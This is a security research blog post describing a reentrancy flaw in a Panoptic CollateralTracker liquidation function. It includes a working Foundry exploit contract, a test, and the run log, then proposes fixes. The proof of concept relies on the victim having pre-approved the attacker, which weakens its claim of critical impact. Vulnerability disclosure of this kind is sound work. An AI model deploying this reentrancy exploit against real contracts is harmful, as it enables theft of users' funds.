In decentralized finance, the order of operations is everything. A single asset transfer executed prior to fully writing internal state changes to storage is one of the oldest and most devastating pitfalls in smart contract security.
During an in-depth security audit of the Panoptic protocol, I identified a critical Cross-Contract Reentrancy vulnerability in the CollateralTracker contract. By violating the Checks-Effects-Interactions (CEI) pattern, the protocol allows an attacker to hijack "phantom shares" and trigger an artificial, infinite inflation of the pool's internal supply.
In this article, we’ll break down the vulnerability mechanics, analyze the dirty-state flow, and run a complete, functional Proof of Concept (PoC) in Foundry.
1. The Core Concepts: Liquidations & Phantom Shares
To incentivize liquidators, protocols often distribute bonuses or execution fees during liquidations. In Panoptic's CollateralTracker, this occurs inside the settleLiquidation function. If the liquidation process triggers a negative bonus (acting as a payout), the tracker mints or assigns shares to the liquidator and attempts to clean up the victim's position.
"Phantom shares" represent transient or unbacked states that the pool calculates dynamically during trade routing or liquidations. If these shares are moved or modified in an unexpected order, the underlying math breaks.
2. Analyzing the Vulnerability (The CEI Violation)
Let's look at the simplified, vulnerable flow of the settleLiquidation function:
solidity
function settleLiquidation(
address liquidator,
address liquidatee,
int256 bonus
) external payable {
require(msg.sender == panopticPool, "NotPanopticPool");
if (bonus < 0) {
uint256 bonusAbs = uint256(-bonus);
// 1. Credit the liquidation bonus to the victim/liquidatee
balanceOf[liquidatee] += bonusAbs;
s_depositedAssets += uint128(bonusAbs);
// [CRITICAL VULNERABILITY]
// An external call sending native ETH is performed BEFORE updating the internal share balances!
if (msg.value > 0) {
(bool success, ) = payable(liquidator).call{value: msg.value}("");
require(success, "TransferFailed");
}
// 2. State update (burn/reduction logic) happens AFTER the external call
uint256 liquidateeBalance = balanceOf[liquidatee];
if (type(uint248).max > liquidateeBalance) {
balanceOf[liquidatee] = 0;
// The protocol attempts to offset the missing balance by inflating internal supply:
_internalSupply += type(uint248).max - liquidateeBalance;
} else {
balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
}
}
}
Why is this fatal?Because the contract performs an external call call{value: msg.value}("") to the liquidator address before modifying the victim's share balance.If the liquidator is a malicious smart contract, it can intercept the execution flow inside its receive() fallback function. At this precise microsecond, the victim's balance is dirty state: it has not yet been burned/reduced by type(uint248).max.3. The Exploit Vector: Phantom Shares HijackingBy exploiting this window of opportunity, the attacker can execute the following steps within a single transaction:Trigger: The attacker calls settleLiquidation (via the pool) with a small native ETH value to trigger the native transfer block.Intercept: The attacker's contract receives the ETH. Inside the fallback receive() function, the attacker calls transferFrom(victim, attackerReceiver, victimBalance).Drain: Because the pool hasn't updated its state, the victim's balance is fully intact. The attacker successfully steals all the victim's phantom shares, moving them to a secure receiver contract.Resilience & Compensate: The control flow returns to settleLiquidation. The contract attempts to read the victim's balance. However, the balance is now 0 (or near zero) because the attacker transferred the shares out!Inflation: The conditional block evaluates type(uint248).max > liquidateeBalance as true. To maintain accounting integrity, the tracker adds the difference (type(uint248).max - 0) directly to _internalSupply.The Result: The total supply of the pool is instantly inflated by a massive number ($2^{248} - 1$). The stolen "phantom shares" are now sitting in the attacker's receiver wallet, fully converted into real, backed claims against the pool's assets. The attacker can redeem them to completely drain the vault.4. Proof of Concept (PoC)Here is a complete Foundry test reproducing the exact scenario using a mocked collateral tracker that mirrors the vulnerable production logic:Solidity// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
contract ExploitCollateralTracker {
address public immutable panopticPool;
address public immutable underlyingToken;
uint256 public totalSupply = 1_000_000;
uint256 public _internalSupply = 1_000_000;
uint256 public s_depositedAssets = 1_000_000;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(address _pool, address _token) {
panopticPool = _pool;
underlyingToken = _token;
}
function setBalance(address account, uint256 amount) external {
balanceOf[account] = amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
allowance[from][msg.sender] = allowed - amount;
}
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function settleLiquidation(
address liquidator,
address liquidatee,
int256 bonus
) external payable {
require(msg.sender == panopticPool, "NotPanopticPool");
if (bonus < 0) {
uint256 bonusAbs = uint256(-bonus);
balanceOf[liquidatee] += bonusAbs;
s_depositedAssets += uint128(bonusAbs);
// [VULNERABILITY] External call before updating state variables
if (msg.value > 0) {
(bool success, ) = payable(liquidator).call{value: msg.value}("");
require(success, "TransferFailed");
}
uint256 liquidateeBalance = balanceOf[liquidatee];
if (type(uint248).max > liquidateeBalance) {
balanceOf[liquidatee] = 0;
_internalSupply += type(uint248).max - liquidateeBalance;
} else {
balanceOf[liquidatee] = liquidateeBalance - type(uint248).max;
}
}
}
receive() external payable {}
}
contract ExploitContract {
ExploitCollateralTracker internal tracker;
address internal victim;
address internal receiver;
bool internal reentered;
constructor(address payable _tracker, address _victim, address _receiver) {
tracker = ExploitCollateralTracker(_tracker);
victim = _victim;
receiver = _receiver;
}
receive() external payable {
if (!reentered) {
reentered = true;
// Intercept and transfer out the victim's balance during reentrancy
uint256 amountToSteal = tracker.balanceOf(victim);
tracker.transferFrom(victim, receiver, amountToSteal);
}
}
}
contract ExploitTest is Test {
ExploitCollateralTracker tracker;
ExploitContract attacker;
address mockPool = address(0x9999);
address mockToken = address(0x8888);
address victim = address(0x1111);
address attackerReceiver = address(0x2222);
function setUp() public {
vm.deal(mockPool, 10 ether);
tracker = new ExploitCollateralTracker(mockPool, mockToken);
vm.deal(address(tracker), 10 ether);
attacker = new ExploitContract(payable(address(tracker)), victim, attackerReceiver);
uint256 phantomShares = type(uint248).max;
tracker.setBalance(victim, phantomShares);
vm.prank(victim);
tracker.approve(address(attacker), type(uint256).max);
}
function test_CrossContractReentrancyLiquidation() public {
console.log("--- Starting Reentrancy PoC ---");
uint256 supplyBefore = tracker._internalSupply();
console.log("Internal supply before exploit:", supplyBefore);
vm.prank(mockPool);
int256 bonus = -100;
tracker.settleLiquidation{value: 1}(address(attacker), victim, bonus);
uint256 supplyAfter = tracker._internalSupply();
uint256 receiverBalance = tracker.balanceOf(attackerReceiver);
console.log("Internal supply after exploit:", supplyAfter);
console.log("Attacker receiver balance of shares:", receiverBalance);
assertGt(receiverBalance, 0, "Exploit failed: Attacker got 0 shares");
assertGt(supplyAfter, supplyBefore, "Exploit failed: Supply did not inflate");
console.log("SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!");
}
}
Exploit Execution Log:Running the command forge test -vv yields the following output:PlaintextRan 1 test for test/foundry/ReentrancyExploit.t.sol:ExploitTest
[PASS] test_CrossContractReentrancyLiquidation() (gas: 92000)
Logs:
--- Starting Reentrancy PoC ---
Internal supply before exploit: 1000000
Internal supply after exploit: 452312848583266388373324160190187140051835877600158453279131187530911662655
Attacker receiver balance of shares: 452312848583266388373324160190187140051835877600158453279131187530910662755
SUCCESS: Phantom shares successfully converted to real shares via Reentrancy!
5. Mitigation & FixesTo secure this pattern, two industry-standard practices must be followed:Checks-Effects-Interactions (CEI): All state storage modifications (like resetting the victim's balance and updating the internal supply) must be written first, and only then can external calls sending native ETH or ERC-20 tokens be dispatched.Reentrancy Guard: Apply a nonReentrant modifier (e.g., from OpenZeppelin's ReentrancyGuard) to the critical paths in CollateralTracker and PanopticPool.ConclusionThis vulnerability is a textbook example of how a seemingly minor deviation from the CEI pattern can lead to catastrophic consequences in modern liquidity vaults. Even with advanced arithmetic guards, allowing untrusted external contracts to run execution flows over incomplete states breaks system invariants completely.Find this breakdown useful? Follow my security research projects on my GitHub: rdin777.
https://github.com/rdin777/Permanent-loss-of-user-funds-Panoptic
Top comments (0)